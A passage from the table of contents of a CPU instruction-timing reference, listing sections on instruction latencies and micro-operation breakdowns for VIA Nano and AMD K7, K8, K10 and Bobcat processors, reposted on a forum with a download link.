12.4 Floating point XMM instructions ............................................................................ 130 12.5 VIA-specific instructions........................................................................................ 132 13 List of instruction timings and µop breakdown for VIA Nano 3000 series..................... 133 13.1 Integer instructions................................................................................................ 133 13.2 Floating point x87 instructions............................................................................... 137 13.3 Integer MMX and XMM instructions ...................................................................... 139 13.4 Floating point XMM instructions ............................................................................ 141 13.5 VIA-specific instructions........................................................................................ 143 14 Instruction timings and macro-operation breakdown for AMD K7 ................................ 144 14.1 Integer instructions................................................................................................ 144 14.2 Floating point x87 instructions............................................................................... 148 14.3 Integer MMX instructions ...................................................................................... 150 14.4 Floating point XMM instructions ............................................................................ 151 14.5 3DNow instructions............................................................................................... 152 15 Instruction timings and macro-operation breakdown for AMD K8 ................................ 153 15.1 Integer instructions................................................................................................ 153 15.2 Floating point x87 instructions............................................................................... 157 15.3 Integer MMX and XMM instructions ...................................................................... 159 15.4 Floating point XMM instructions ............................................................................ 161 15.5 3DNow instructions............................................................................................... 162 16 Instruction timings and macro-operation breakdown for AMD K10 .............................. 164 16.1 Integer instructions................................................................................................ 164 16.2 Floating point x87 instructions............................................................................... 168 16.3 Integer MMX and XMM instructions ...................................................................... 170 16.4 Floating point XMM instructions ............................................................................ 172 16.5 3DNow instructions............................................................................................... 173 17 Instruction timings and macro-operation breakdown for AMD Bobcat.......................... 175 17.1 Integer instructions................................................................................................ 175 17.2 Floating point x87 instructions............................................................................... 179 17.3 Integer MMX and XMM instructions ...................................................................... 181 17.4 Floating point XMM instructions ............................................................................ 183 18 Instruction set compatibility table................................................................................. 185 18.1 Explanation of instruction sets .............................................................................. 186 19 Comparison of the different microprocessors .............................................................. 190 20 Literature..................................................................................................................... 191 21 Copyright notice .......................................................................................................... 191 Via: Software optimization resources - rohitab.com - Forums Download: http://agner.org/optimize/instruction_tables.pdf
×
×
  • Create New...